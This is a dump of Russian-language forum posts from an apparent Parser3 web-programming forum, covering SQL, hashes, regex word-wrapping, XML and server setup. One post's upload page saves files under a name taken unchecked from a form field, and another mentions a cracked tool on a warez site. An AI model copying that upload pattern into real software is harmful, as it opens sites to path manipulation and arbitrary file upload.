"34058","вас не смущает что на парсере вы тоже не одну строчку кода пишете, и используете .menu{}, .foreach{}?\
\
ну и что что там будет 5-10-100-500-... update-ов? не каждую-же секунду такое будет происходить, а \
[code]\
update tbl set field='значение' where primary_ket_id = константа\
[/code]\
- запрос, который мгновенно исполняется любым sql сервером (не забываем про перестройку индексов)"
"34059","Как сделать так, чтобы файлы из определенной директории не обрабатывались парсером."
"34060","ysite-2.6-7.i386.rpm это версия для Апача?\
\
если есть где-то инфа по настройке, подскажите плз, а то я не нашел."
"34061","Подскажите как измерить производительность скрипта\
\
@main[]\
^templ_head[]\
^script - его надо измерить.\
^templ_foot[]"
"34062","Именно так я себе и представлял ситуацию... Теперь все понятно!\
\
Остался конечно осадок - но видимо это мои личные глюки. Как жаль, что у людей нет доступа к информации, закрытой в мозгу! Очень хотелось бы мне взглянуть на тот код, который у меня работал утром.  Я шел от простого к сложному - начал с простой выдачи готового xml-текста, потом из БД, потом из XML через DOM. Все работало, кроме последнего, его и запостил. Единственное логичное объяснение - я по запарке написал все же в первом варианте <item value=\"Johnson&amp^;Johnson\">. Сомневаюсь сильно, но только этим и могу себя успокоить. :)"
"34065","Вы всех детей изменяемого раздела вычислить можете? Можете.\
Вычисляйте.\
Потом вычисляйте для них и для родителя (да для любых разделов, у которых пути сменятся) новые пути, кладите всё в таблицу или хэш, где ключ - id раздела, значение - новый путь.\
Ну а потом один апдейт, в котором меняете все пути разделам, импользуя их id и свой хэш/таблицу с одноимёнными ключами."
"34066","М-да. А для чего же тогда еще форум нужен? Я задаю конкретные вопросы с целью получить конкретные ответы от других людей, которые могут помочь. Если я прихожу в магазин и спрашиваю у продавщицы, какое на ее вкус печенье вкуснее и она говорит мне \"Мальчик, позвони в фирму-производитель и сравни ингридиенты, а потом, через пару месяцев, когда все прочитаешь, приходи покупать\" - я пошлю этот магазин подальше и пойду в соседний - где продавщицы по-ласковее. Если у вас здесь форум только для того, чтобы задавать вопросы, которых нет в сотне-другой книг - то нафига он вообще нужен? Задавать вопросы типа \"Как протрилонгировать сущности корневых и дочерних нодов и получить в результате фискальную параметризацию?\"? Тогда нужно создавать специальный закрытый форум, куда нет доступа обычным начинающим чайникам типа меня и тысяч других, которые задают глупые вопросы. Ладно. Счастливо оставаться. Веселитесь."
"34067","сколько же будет 2*2?"
"34068","> Задавать вопросы типа \"Как протрилонгировать сущности корневых и дочерних нодов и получить в результате фискальную параметризацию?\
\
Да именно для этого он и нужен, но точно не для обсуждения вопросов как писать Hello World на XSLT. Хочется общаться с людьми которые приложили чуточку усилий для усвоения базы, а не просто приходят, и спрашивают как, и ответ на вопрос сами могут найти за полчаса в ближайщей спец. литературе (ресурсе)."
"34070","есть готовый скрипт голосования.\
делаю, как написано в http://www.parser.ru/forum/?id=30284\
создаю файл vote.php, в котором:\
[code]\
#!/usr/bin/php\
\
<? include(\"vote/form.php\"); ?> \
[/code]\
\
в нужном месте index.html пишу:\
\
[code]\
### голосование ###\
$vote[^file::exec[/vote.php]]\
^taint[as-is][$vote.text]\
### end голосование ###\
[/code]\
\
в том месте, где вставил «голосовалку» получаю исходный код index.html. Подскажите, плз, как сделать?"
"34074","спасибо вам большое за ответы, но думаю вот [url=\"http://www.parser.ru/forum/?id=32841\"]это[/url] изменит ситуацию. \
2Misha, вы сами говорили, что SQL в каждой итерации - это плохо\
\
ЗЫ код, что находится по ссылке писался давно, уже есть другой, совершенно новый (тот можно сказать тестовый был), горазадо улучшенный в плане парсерных маневров, но проблема с update не исчезла."
"34075","...когда речь идет о frontend-е, т.е. когда каждое обращение посетителя к документу вызывает шквал запросов. \
\
в вашем случае это редкая операция, выполняемая через административный интерфейс, и ничего страшного в ней нет."
"34076","парсер 3.1.3\
apache 1.3\
OS win2003\
\
ИМХО, реверс средствами самого парсера должен работать быстрее(через join), чем через ^table.append{} "
"34090","Ситуация. Выводятся записи с помощью  mid  в таблицу заданной длины.\
\
Проблема. Если запись состоит из одного слова... скажем очень большой длинны, скажем, больше чем ширина таблицы, скажем, из желания нарушить всю стройность таблицы и т.д., а равно из друго какого желания :)\
\
Вопрос. Как бороться с этим?"
"34092","хочу отправить через sendmail письмо сразу нескольким пользователям\
Пишу такое\
$.to[^moderators.menu{${moderators.nick} <${moderators.email}>}[^;]] \
\
отгребаю ошибку :("
"34094","пытаюсь засунуть таблицу в хеш двумя способами, которые, по идее, делают одно и то-же, но результат получается разный:\
[code]\
$table[^table::create{color	rrggbb\
red	ff0000\
green	00ff00\
blue	0000ff\
_default	000000}\
]\
\
$a_hash[^table.hash[color]]\
<p>a_hash: ^a_hash.foreach[key;value]{$key}[ | ]</p>\
\
$b_hash[^hash::create[]]\
^table.menu{\
	^b_hash.add[$.[$table.color][$table.fields]]\
}\
<p>b_hash: ^b_hash.foreach[key;value]{$key}[ | ]</p>\
[/code]\
Получаем:\
\
a_hash: _default | red | blue | green\
\
b_hash: red | blue | green\
\
просто интересно - это фича какая-то, или опять какой-нить тайнт с унтайтом мне палки в колёса суют?"
"34095","и taint-ы тут совершенно не при чем (как правило если все пишется в документе, а не берется из form/cookie/db/file) и в нем-же вы сами не пишите taint/untaint - то эти taint/untaint не при чем :)\
\
более того, в обоих случаях _default не работает. чуть измененный код:\
\
[code]\
@print[title;hash][key;value]\
<p>$title ^hash.foreach[key;value]{$key}[ | ]</p>\
=$hash.[zzz].rrggbb=\
\
@main[]\
$table[^table::create{color	rrggbb\
red	ff0000\
green	00ff00\
blue	0000ff\
_default	000000}\
]\
\
$c_hash[\
	$.red[\
		$.color[red]\
		$.rrggbb[ff0000]\
	]\
	$.green[\
		$.color[green]\
		$.rrggbb[00ff00]\
	]\
	$.blue[\
		$.color[blue]\
		$.rrggbb[0000ff]\
	]\
	$._default[\
		$.color[_default]\
		$.rrggbb[000000]\
	]\
]\
\
$a_hash[^table.hash[color]]\
^print[a_hash:;$a_hash]\
\
$b_hash[^hash::create[]]\
^table.menu{\
	^b_hash.add[$.[$table.color][$table.fields]]\
}\
^print[b_hash:;$b_hash]\
\
^print[c_hash:;$c_hash]\
[/code]"
"34096","http://www.quirksmode.org/oddsandends/wbr.html\
http://www.cs.tut.fi/~jkorpela/shy.html"
"34097","[code]\
@print[title;hash][key;value]\
<p>$title ^hash.foreach[key;value]{$key}[ | ]</p>\
=$hash.[zzz].rrggbb=\
\
@main[]\
$table[^table::create{color	rrggbb\
red	ff0000\
green	00ff00\
blue	0000ff\
_default	000000}\
]\
\
$b_hash[$._default[\
		$.color[_default]\
		$.rrggbb[]\
	]]\
^table.menu{\
	^if($table.color eq \"_default\"){\
		$b_hash._default.rrggbb[$table.rrggbb]\
	}{\
		^b_hash.add[$.[$table.color][$table.fields]]\
	}\
}\
^print[b_hash:;$b_hash]\
\
[/code]"
"34098","Благодарю за ссылки. В итоге работающий код для моего случая выглядит так:\
\
$body[$comments.body] \
$body[^body.match[(.{1,24})][g]{$match.1<wbr>}]\
$body[^rpl[]]\
^body.mid(0;100)..."
"34099","в Opera <wbr> не работает, зато работает &#8203; и &shy;\
в IE <wbr> и &shy; работает, зато &#8203; выдает косяки\
в Netscape <wbr> и &#8203; работает, зато не с &shy; происходит то же, что и в опере с <wbr>.\
\
выбирайте сами ;) возможно легче найти другой путь"
"34101","[code]\
@print[title;hash][key;value]\
<p>$title ^hash.foreach[key;value]{$key}[ | ]</p>\
=$hash.[zzz].rrggbb=\
\
@main[]\
$table[^table::create{color	rrggbb\
red	ff0000\
green	00ff00\
blue	0000ff\
_default	000000}\
]\
\
$b_hash[$._default[]]\
^table.menu{\
	^if($table.color eq \"_default\"){\
		$b_hash._default[$table.fields]\
	}{\
		^b_hash.add[$.[$table.color][$table.fields]]\
	}\
}\
^print[b_hash:;$b_hash]\
[/code]\
причём значение в исходной таблице не обязательно должно быть  eq \"_default\", оно может быть любым на усмотрение, вплоть до \"\", нужно будет просто заменить условие на !def $table.color...\
\
Ну это были размышления на тему \"динамическое заполнение хеша данными из таблицы с формированием валидного ключа $._default[] и без использования ^process[]\". Может кому пригодится :)"
"34102","Обьясните пожалуйста доходчиво как проверить права текущего пользователя на доступ к определенному документу. Поиском по форуму пользоваться умею =) то что я там нашел породило еще больше непоняток..."
"34103","Ну да, там так и написано. Пока я не напишу скрипт, определяющий тип броузера, пусть хотя бы у меня корректно отображается..."
"34105","Кто-нибудь может подсказать, как избежать включения тегов? А то, понимаешь, <wbr> встает туда, куда не попади.\
\
За ранее благодарен."
"34106","[code]^body.match[(.{1,24})][g]{$match.1<wbr>}[/code]\
\
совпадет если в любом тексте будет от 1 до 24 символов, вам же надо после 24-го символа резать... Так что из фигурных скобок единичку нужно убрать."
"34108","Вот, приделал к админке сайта типографику и теперь возник вопрос:\
см. сабж\
\
С одной стороны думаю, что стОит, т.к. есть вероятность, что при типографировании текст попортится. Но с другой стороны - разумно ли такое расходование ресурсов? Получается что в БД будет почти в 2 раза больше инфы.\
\
У кого какие мнения по этому поводу? Кто как делает?"
"34109","Что лучше: один раз при добавлении информации ее оттипографировать, или при каждом вытаскивании из базы?\
\
Думаю разумней будет типографировать при добавлении."
"34110","Я не о том. Да, типографировать лучше при добавлении в бд. Я о том, на сколько целесообразно при этом  сохранять и оригинальный (нетипографированный) текст."
"34112","Тогда лучше, конечно, сохранять и исходный и типографированный. Так, на всякий случай. Но я, к примеру, этого не делаю, и не вижу необходимости делать. Если тексты большие, то это существенно влияет на размер базы."
"34113","Причины всего две:\
\
1. Если типограф что-то сделает не так, всегда есть возможность восстановить текст.\
2. Редактировать типографированный текст очень неудобно.\
\
Если не нравится хранить в базе, храните копию в виде текстовичка, а в базу кладите только ссылку на него."
"34116","$document[^xdoc::load[games.xml]]\
$idroot[^document.selectSingle[//games]]\
$idold[^document.selectSingle[//games/lastid]]\
$idremove[^idroot.removeChild[$idold]]\
^document.save[games1.xml]\
\
Господа, данный скрипт через раз при запуске вызывает ошибку [Sun Oct 24 01:41:54 2004] [error] [client 127.0.0.1] d-Б: auto.p(47:2): 'LIMITS' invalid opcode 12680448 [<no type>]\
но при этом в games1.xml пишется все правильно\
\
games.xml\
<code>\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<games>\
<lastid>12</lastid>\
</games>\
</code>\
games1.xml после исполнения\
<code>\
<?xml version=\"1.0\" encoding=\"WINDOWS-1251\"?>\
<games>\
\
</games>\
</code>\
\
Теряюсь в догадках, причем ошибка именно через раз"
"34117","Сейчас пишу форум для одного сайта и столкнулся с проблемой - как правильно отмечать прочитанные/непрочитанные сообщения.\
Т.е. чтобы после логина человек видел, в каком форуме/топе появились новые сообщения. \
Дело в том, что форум предполагается активный, на данный момент на старом форуме 1400 тем, 36000 сообщений и 1500 пользователей. \
Cтоит там Invision Power Board.\
Можно сделать таблицу visited аля:\
[code]\
user   top\
1      2\
2      2\
3      1   \
[/code]\
Добавлять в неё пару \"юзер - тема\" когда юзер тему просмотрел удалять при добавлении сообщения в тему. Но мне кажется это неправильно, тем более если в теме несколько страниц - юзер просмотревш первую страницу получит отметку о просмотре всей темы..\
Если сделать таблицу\
[code]\
user  post\
[/code]\
и писать пару \"юзер - пост\", то это получается некий гигантский массив из (по максимуму) 30000 постов * 1400 юзеров * 24 байта ряд.\
Если писать в таблицу с постами lastpost, а в index-таблицу user-post-lastvisited получается тоже жуть..\
Подскажите выход. Чем жертвовать?"
"34118","http://www.parser.ru/forum/?id=22736"
"34119","Привет: вот код. Не пойму:\
-- если после первого if сразу без пробелов ставить фигурную скобку, он говорит, что нужно минимум 2 параметра. (представлен 1);\
-- если вставляю там же перевод каретки — максимум 3 параметра нужно.\
(что-то в этом роде)\
people! wazzup?\
\
[code]\
#--------------> additional_MEHl-0\
@addmenu[]\
$menus[^table::load[menus.cfg]]\
^menus.menu{<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\
	^menus_cell[]\
   }</table>\
\
@menus_cell[]\
$cell_height[^eval(100\\$menus)%]\
^if($menus.ui eq yes){	\
			^if($menus.uri eq $request:uri)\
			{ \
			<tr><td height=\"$cell_height\" valign=\"middle\" class=\"addit_is\" bgColor=\"#E0DEDF\"><nobr><img src=\"/img/blank.gif\" width=\"20\" height=\"20\">&nbsp;&nbsp;&nbsp;<img src=\"/img/bullet_menu_is.gif\" width=\"10\" height=\"12\"><span>$menus.name</span></nobr><br><img src=\"blank.gif\" width=\"166\" height=1></td></tr>\
			}{\
			<tr><td valign=\"middle\" height=\"$cell_height\" class=\"addit\"><nobr><img src=\"/img/blank.gif\" width=\"20\" height=\"20\">&nbsp;&nbsp;&nbsp;<img src=\"/img/bullet_menu.gif\" width=10 height=\"12\">--<a href=\"$menus.uri\" class=\"rightblock\">$menus.name</nobr></a><br><img src=\"blank.gif\" width=\"166\" height=1></td></tr>\
			}\
}{ \
			^if($menus.uri eq $request:uri){\
			<tr><td height=\"$cell_height\" valign=\"middle\" class=\"addit_is\" bgColor=\"#E0DEDF\"><nobr><img src=\"/img/blank.gif\" width=\"10\" height=\"20\"><img src=\"/img/bullet_menu_is.gif\" width=\"10\" height=\"12\"><span>$menus.name</span></nobr><br><img src=\"blank.gif\" width=166 height=1></td></tr>\
			}{\
			<tr><td valign=\"middle\" height=\"$cell_height\" class=\"addit\"><nobr><img src=\"/img/blank.gif\" width=\"10\" height=\"20\"><img src=\"/img/bullet_menu.gif\" width=10 height=\"12\"> <a 	href=\"$menus.uri\" class=\"rightblock\">$menus.name</nobr></a><br><img src=\"blank.gif\" width=166 	height=1></td></tr>\
		}\
}\
[/code]"
"34120","Экранируйте все точки с запятой, которые должны быть выведены пользователю. Иначе ^if пытается расценить то, что после точки с запятой, как второй параметр, а он у него должен быть всего один. Отсюда вылезает ошибка."
"34121","Я при добавлении в базу прохожусь типографом «в одну сторону», а при редактировании записи прохожусь им же, но «в другую сторону». Это более ресурсоемко, но размер базы уменьшается вдвое. А на случай если типограф что-то сделает не так… Даже и не знаю тогда. Я ни разу еще не сталкивался с глобальными недаделками. Были, конечно, косяки, но так, по мелочи. И сразу же исправлялись."
"34122","блин, ведь это уже обсуждалось, может даже и в одном из моих тредов(только не помню кто советовал: ПАФ или Миша):\
1) в базе 2 версии текста, первая пришедшая из CMS от админа/редактора и вторая - генерится по сабмиту типографом.\
2) на экран выводится кэшированная станица\
3) редактируется 1-я версия текста, по сабмиту просто апдейтится 2-я версия\
4) обновляется кэш\
et cetera\
у меня пока шаги с кэшем не сделаны - часто идет вставка на станицы, а сервак пока хилый"
"34123","Народ, есть такой вопрос: возможно ли за один select выяснить непрямого потомка?\
У примеру, есть табличка связи юзеров с группами. В ней, как водится, есть поле parent. Юзер \"Вася\" входит в группу \"sales people\", которая имеет в родителях группу \"common sales\". С другой стороны есть некая функция \"ShowSalesList\", требующая зарегистрированного пользователя из той самой группы \"common sales\" или ее потомков.\
Вот бы мне иметь такой хитрый select, чтобы отдать ему в качестве параметров имена исходной и требуемой групп и получить оттуда типа да или типа нет.\
В данный момент сделано так: когда админ решает, что группа \"ShowSalesList\" достойна быть далеким, но прямым потомком \"common sales\", оно апдейтит якобы временную плоскую таблицу, где все конечные группы сассоциированы напрямую с корневыми. Поиск происходит именно в ней. С точки зрения скорости это решение -  самое оно. Таблица начинает иметь просто-таки угрожающий размер.\
А поэстетствовать?\
Скорость в конечном счете отходит на второй план. Красота решения и моральное удовлетворение выходит вперед."
"34124","Вопрос какой-то размытый.\
\
1. О какой СУБД идет речь? SQL, конечно стандарт, но реализован он в разных СУБД по-разному.\
2. Почитайте про внешние объединения и Вам много станет ясно."
"34126","Проблема встала неожиданно: сделали update IE 5.0 на 6.0 и вдруг сюрприз: в версии 6.0 почему-то не отображаются рисунки tif-формата, которые раньше отображались.\
Подскажите, пожалуйста, как решить данную проблему? Может, добавить чего-нибудь? \
(Очень нужно, т.к. этот формат используется программой FineReader при сканировании.)\
А если уж никак нельзя отобразить tif-файлы, то, может быть, кто-нибудь знает, как сконвертировать тьму файлов (одним щелчком) из tif в gif или jpg?\
Заранее огромное спасибо."
"34127","1. FineReader может и с jpeg работать.\
2. Actions в Photoshop\
3. Причем тут парсер?"
"34128","я недавно познакомился с парсером...\
и у меня возникло два вопроса:\
1)как осуществить проверку правильности набранного емailа\
2)как достать переменные полученые методом пост и гет"
"34129","В файле lib.p (http://www.parser.ru/examples/lib/) есть оператор @is_email[], проверяющий e-mail на правильность\
Данные достаются одинаково $form:поле_формы.\
Либо для неизвестных полей (если постом передаём) - $form:fields\
\
В общем, это в доке написано"
"34130","@is_email[] проверяет лишь синтаксическую валидность email-а, причем от отсекает некоторые правильные адреса (все не дойдут руки доделать), а существует введенный адрес или нет он проверить не может."
"34131","Есть xml файл с такой структурой:\
<Book ID=\"0001\" Name=\"Book1\">\
  <autor Name=\"AUTOR1\"></autor>\
  <autor Name=\"AUTOR2\"></autor>\
  <autor Name=\"AUTOR3\"></autor>\
</Book>\
<Book ID=\"0002\" Name=\"Book2\">\
  <autor Name=\"AUTOR4\"></autor>\
  <autor Name=\"AUTOR5\"></autor>\
  <autor Name=\"AUTOR6\"></autor>\
</Book>\
...\
Надо поместить в базу данных данные об авторе с соответствующим ID (пробовал xsl:for-each он берёт для каждой книги по одному, перврму автору). Посоветуйте как можно это сделать!"
"34132","как сделать переадресацию на парсере???\
и как поставить переадресацию по времени например через 10 сек..."
"34133","А может Вы все-таки доку почитаете?\
Там это все описано. Даже пример есть."
"34135","Есть такой гипер простой код\
[code]\
^if(def $form:fileadd){\
 $f[^file::load[binary;$form:fileadd]]\
 ^if($f.size > ^eval($configf.max_file*100) && $user.deny < $configf.no_max){$error[Размер файла не должен превышать ${configf.max_file}кб]} \
 $ras[^file:justext[$f]]\
}\
\
<form name=gos method=\"post\" enctype=\"multipart/form-data\">\
<input type=\"file\" class=\"forma\" name=\"fileadd\">\
<input type=\"hidden\" name=\"dei\" value=\"add\">\
</form>\
[/code]\
\
И этот код выдает вот такую ошибку\
\
[code]\
....тыры мыры...add.html(189:43): 'load' is 'file', it has no string representation [parser.runtime]\
[/code]\
\
Почему?\
Ничче непонимаю.\
\
Да и еще хачу заметить да домашней машине все пашет. На сервере нихрена... :("
"34139","http://www.bizkit.land.ru/load/xmlbook2.zip"
"34140","Поддерживает пакетные преобразования форматов + возможность сразу менять доп. параметры (например размер файлов).\
И всё это абсолютно бесплатно.\
Скачать можно с одноимённого .com сайта."
"34142","Делаю случайный вывод картинки.\
Так вот все работает нормально с одним НО...\
\
[code]\
@rndpic[]^rem{Случайное фото из галереи фото}\
$dir[/diger/big/] \
$list[^file:list[${dir};\\.jpg^$]]\
$npp[^math:random(^list.count[])]\
^list.offset[set]($npp)\
$list_hash[$list.fields] \
$photo[^image::create(172;129;0x000000)]\
^photo.html[\
   $.alt[Случайное фото]\
   $.border[1]\
   $.hspace[0]\
   $.vspace[0]\
   $.src[${dir}$list_hash.name]\
    ]\
[/code]\
\
В этой строке [code] $list[^file:list[${dir};\\.jpg^$]][/code], походу если у тебя файлы в дирректории лежат с регистром в расширении .JPG а не .jpg он эти файлы (с другим регистром просто не видет).\
Так вот вопрос такой как лучше сделать так в этом коде что-бы он видел с любым регистром.\
\
С уважением!!!"
"34143","$list[^file:list[${dir};\\.(jpg|JPG|Jpg)^$]]\
А вообще - ловеркейсом их при всех аплоадах"
"34147","в file:list нельзя задать глобальный модификатор i как в match но можно задать локальный, т.к. в парсере используется достаточно новая библиотека PCRE, поэтому мне кажется что вместо перечисления всех возможный вариантов мигания букв лучше написать так:\
[code]\
$tFileList[^file:list[$sDir;\\.(?i:jpe?g|gif|png)^$]]\
[/code]\
\
таким образом можно сделать регулярное выражение (или часть его) в file:list не чувствительным к регистру."
"34148","что делать супер-join и супер-извращения с sql надо крайне редко, когда это действительно необходимо.\
\
стараться делать всё простыми запросами.\
\
если задача такая сложная, то так или иначе для работы программы должны быть созданы n-ное количество классов, в которые должен быть вложен нужный функционал. если классы будут созданы правильно, то такой вопрос отпадёт сам по себе. В этом случае как раз и будет красота решения."
"34152","читайте и пробуйте пока не заработает."
"34153","[code]\
@menus_cell[]\
$cell_height[^eval(100\\$menus)%]\
^if($menus.ui eq yes){\
[/code]\
\
что за поле «ui»?"
"34154","Проект расчитан на 10000 уников в день (+держать прихода поисковых ботов!!!!), сайт динамический - страницы строятся парсером, информация берется из файлов (порядка 5-10 файлов на запрос) (нет sql), так как данные экспортируются с другого сайта. \
Сейчас делается на cgi версии, на хостинге тоже стоит cgi ибо Apache2. Будет ли смысл переходиться на mod (менять apache) или достаточно все таки cgi + добавить кэширование при росте нагрузки?\
Вопрос практический к тем кто проходил или собирается проходить путь масштабирования."
"34156","(ломаная версия вроде как-то на wareza.net пробегала). Программа эмулирует приход на сайт заданного количества пользователей, с разной резвостью бродящих по сайту. Ставите, и смотрите, на какой нагрузке начинает идти сизый дымок...\
\
Хотя 10 тыс. в сутки - это 416 в час, 7 в минуту. То есть в среднем ваш сервер должен успевать отрабатывать один запрос за восемь с половиной секунд. Если пиковая нагрузка впятеро выше среднесуточной, то всё равно ещё резерв есть..."
"34158","доку я конечно читал...\
может я тупой???!!! но я не нашёл!"
"34159","Каков смысл параметра session.dt_access класса авторизации? \
Я считал, что это время последнего обращения к сесии, т.е. время последнего захода пользователя на страницу. Однако, если рефрешить auth_info.htm из примера, то время последнего доступа не меняется, а остаются постоянным, равным времени логина."
"34162","Надо было в init $.timeout() добавить"
"34164","www.mbilet.ru выводится информация index.html а файл  auto.p не видится... что делать? как проверить что парсер работает нормально? Вчера все работало, никакие срипты не менялись уже месяц...\
попробовал переставить парсер в каталоге cgi-bin/parser3.cgi - не помогло...\
как быть?"
"34165","пожалуйста."
"34166","прочитал, и пробовал запустить http://www.mbilet.ru/cgi-bin/parser3.cgi (атрибуты 744)\
ничего не выводиться...\
\
\
.htaccess:\
\
Action parsed-html /cgi-bin/parser3.cgi\
\
<files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</files>\
\
так что непонятно что делать..."
"34168","http://www.mbilet.ru/cgi-bin/parser3.cgi << тут выводится \
[code]Parser/3.1.3[/code]\
и это правильно.\
\
в вашем .htaccess не хватает строчки, вот как правильно:\
http://www.parser.ru/docs/lang/install4apachecgi.htm"
"34169","[code]\
<html>\
<head>\
<title>Untitled Document</title>\
<meta http-equiv=\"Content-Type\"  content=\"text/html; charset=windows-1251\">\
</head>\
\
<body>\
<form method=\"post\" enctype=\"multipart/form-data\"> \
<input type=\"file\" name=\"photo\"> \
<input type=\"text\" name=\"user\"> \
<input type=\"submit\"> \
</form> \
^if(def $form:photo){ \
    ^form:photo.save[binary;/upload/photos/${form:user}.gif] \
} \
^if(def $form:user){ \
    Пользователь: $form:user<br> \
} \
\
$list[^file:list[/upload/photos/]] \
^list.menu{ \
   <a href=\"/upload/photos/$list.name\">$list.name</a><br> \
} \
\
</body>\
</html>\
[/code]\
\
Вот адрес этой страници\
www.betsforum.com/test.html\
\
Можете сами попробывать добавить картинку. И посматреть что из этого получается"
"34170","Ради спортивного интереса загрузил на другой сервер.\
Работает :(\
\
Значит, на сколько я понимаю в первом случае не работает из-за каких либо настроек сервера. Или еще из-за чего-нибудь.\
\
Что делать?"
"34172","я так и думал что эта вещь...\
но для меня хттпи заголовок означает тёмный лес...\
пасиба"
"34174","Я уже задавал вопрос о длинных строках. Мал помалу разбираюсь с шаблонами замены.\
\
$body[$comments.body] \
$body[^rpl[]]\
$body[^body.match[(.![<+>]){1,26}][g]{${match.1}<wbr>}]\
\
Код то работает, только если нет тегов рядом. А так - вставляет перенос там, где не надо, внутри тегов, приводя меня в неописуемое состояние.\
\
Как-то можно исключить теги? В моем случае это <font color=#CCCCC></font>\
<small><small> и т. д."
"34176","1. плакать\
2. научиться таки пользоваться форумом\
3. сидеть и ждать пока кому-нить будет не лень сделать это за вас и опубликовать например [url=\"/forum/?id=33733\"]ссылку недельной давности[/url]"
"34177","Лучше когда что-то спришваеш объснять для чего написан этот кусок и его функции.\
\
[code]\
$body[^body.match[(.![<+>]){1,26}][g]{${match.1}<wbr>}]\
[/code]\
<+> - Этот кусочек как я могу понять изображает тег. Как минимум надо поставить \".\" перед \"+\", а сечас это читается хотябы одна \"<\" и \">\"\
\
и квадратные скобки (как я понимаю) обозначают - символьный класс. Совпадение происходит [b]с любым элементом из заданного в квадратных скобках списка [/b].\
\
Лучше взять это в круглые скобочки\
\
\
А вообще лучше описать. Что и для чего 6)"
"34178","иде я там была делать принудительный перенос для длинных слов и имен, чтобы таблица не разъезжалась.\
\
Но в некоторых сообщениях, скажем, в админских, текст окрашивается другим цветом через тег font, надо чтоб этот скрипт не трогал тегов. Вот."
"34179","Но так к слову.\
Ерошничать необезательно.\
\
Понимаю что такие как я тут каждую неделю пояляются.\
Но я искал. =) честно."
"34180","Тогда я думаю правильно будет написать так\
\
[code]\
$body[^body.match[(.|(<.+>)){1,26}][g]{${match.1}<wbr>}]\
[/code]"
"34181","Без ничего было вот так:\
\
<font color=#CC3333><b>Sonik</b> Приятно получать оперативную информацию. Наверняка кому-нибудь и...\
\
\
А стало с этим кодом...\
\
><wbr>ь<wbr>Н<wbr>р<wbr>f<wbr>><wbr>...\
\
Просто ужас что получилось!.."
"34182","[code]$body[^body.match[([^^<>]{26})][g]{${match.1}<wbr>}][/code]"
"34183","Конечно, это уже что-то.\
\
Теперь получается так...\
\
<font color=#CC3333><b>Sonik</b> Приятно получать оператив<wbr>ную информацию. Наверняка <wbr>ком...\
\
То есть теги вроде бы не затрагиваются. Но разбиваются слова, в которых много меньше чем 26 символов. Я полагаю, где-то надо все таки точку ставить? Точка, это ведь любой символ кроме пробела?"
"34184","Товарищ, прекратите гадать на кафейной гуще как должно выглядеть выражение.\
Загляните хотя бы в парсерную доку, в раздел регулярных выражений.\
Точка - любой символ.\
\
[code]$body[^body.match[([^^<> ]{26})][g]{${match.1}<wbr>}][/code]"
"34185","Спасибо, я получил то, что искал. и за товарища отдельное спасибо!"
"34187","1) \".\" - Это метасимвол, совпадающий с любым символом кроме символа новой строки по умолчанию.\
\
2) попробуйте сначало убить все теги, расставить переносы и поставить теги на место, думаю получится лучше.\
\
2мы мидведи, совсем непонятна ваша позиция."
"34188","мне по dtd-файлу надо написать редактор, чтобы пользователь мог составить xml-файл нужной архитектуры. Может подскажите, чем воспользоваться, что можно почитать, ссылки. Т. е. как получить мне по этому документу дерево тэгов, их аттрибуты, возможные значения аттрибутов (если есть), детей тэгов. Может есть уже написаные свободные такие редакторы подскажите ссылку. Зарание благодарен за помощь"
"34189","Пдодскажитеб где найти пример переделки даты формата 1999-10-1 на формат 01.10.1999"
"34191","То ли не подставляется нужный контекст...\
По замыслу, код в файле должен получить локальную переменную вызывающего ^include метода.\
[code]\
^myop[что-то хитрое]\
@myop[data]\
^include[/test.htm]\
@include[f][ftx]\
$ftx[^file::load[text;$f]]\
^process[$caller.self]{^taint[as-is][$ftx.text]}\
\
В файле test.htm:\
Получаем ^$data: \"$data\"\
[/code]\
Результат: \
Получаем $data: \"\""
"34194","тогда какой смысл? лучше уж глобально."
"34195","Но тогда получается, ^process не кладет выполнение в нужный контекст (как, например, метод ^steppedfor в разделе руководства по системным переменным), а делает что-то другое."
"34196","[code]\
@myop[data]\
$caller.data[$data]\
^include[/test.htm]\
[/code]"
"34200","А может кто поделиться своим стилем кодирования на парсере? я вот начал чуть по больше проект и чуствую - тяжело разбираться в коде..."
"34201","Удалось ли решить эту проблему? \
\
пытаюсь собирать так же FreeBSD 5.2 все эти же симптомы..."
"34202","Вам вопрос:\
А чем \"хороший стиль кодирования на парсере\" от хорошего стиля кодирования на чем-то другом?"
"34203","я думаю отличается - если на делфи я свободно читаю свои исходники, то тут такого не происходит."
"34204","Из БД добавляется заголовок новости\
[code]\
$news.date, $news.time - $news.subj\
[/code]\
При этом база содержит еще поле <b>body</b> в котором находится основной текст. Как сделать так, чтобы при формировании страницы с заголовками новостей они были ссылками - и при нажатии возникала чистая страничка типа:\
[code]\
$news.date, $news.time - $news.subj<br>\
^untaint{$news.body}\
[/code]"
"34205","Пожалуйста, читайте документацию, faq, форум…\
\
Вы задали слишком общий вопрос. К тому же это становиться элементарным после прочтения документации.\
\
[b]ПостСкриптум[/b]\
Добавьте к базе еще одно поле: [i]id[/i], по которому стройте ссылку вида [i]…/news/?id=$news.id[/i]\
\
И уже по [i]$form:id[/i] выдергивать нужную запись из базы и выводить ее [i]body[/i]"
"34206","Добавляете в таблицу поле id. Ссылка ведет, естественно, на \
?id=id_записи. Делаете на этой странице \
SELECT ... WHERE id = '^form:id.int(1)'"
"34207","Может вы просто знаете парсер не так хорошо как дельфу? хотя это странно :)"
"34208","Почему в auto[] нельзя использовать класс cookie?\
И можно получить список классов которыми в авто нельзя пользоваться?\
\
Заметил что всеми классами можно пользоваться уже только в main[], но иногда удобно пользоваться в auto[]!"
"34213","как написано в ссылке =) илипосматреть как в том же форуме что сейчас реализован данный механизм =)"
"34214","С ней у меня код, который прекрасно работает на 3.1.3 на hashfile стал долго работать, и через раз падать. Разбираться я не стал и откатился на 3.1.3"
"34215","тем медленнее будет исправлено.\
\
имевшиеся пара мелких исправлений в области hashfile на скорость не влияли."
"34216","да я понимаю, но просто нет времени на разбирательства, - откат помог и ладно. Подождем пока кто-нибудь наступит на грабли, ПАФ испаравит, ну а я соберу уже исправленное :) А тем временем будем потихоньку работать ...\
\
PS: Да, кстати а как тестируется неизменившеся скорость hashfile - написаны unit тесты которые проходят и не выходят за временные рамки? Если нет и все на глазок, то сложно говорить о нормальном тестировании :("
"34217","нашел - при открытии hashfile:\
\
 apr_sdbm_open(shared) error: Unknown error (-1)\
\
Вот только что собрал из CVS. Тестирую под Windows\
\
Update:\
\
Разобрались, дело в повторном открытии после записи:\
[code]\
$hf[^hashfile::open[/../data/egr]]\
\
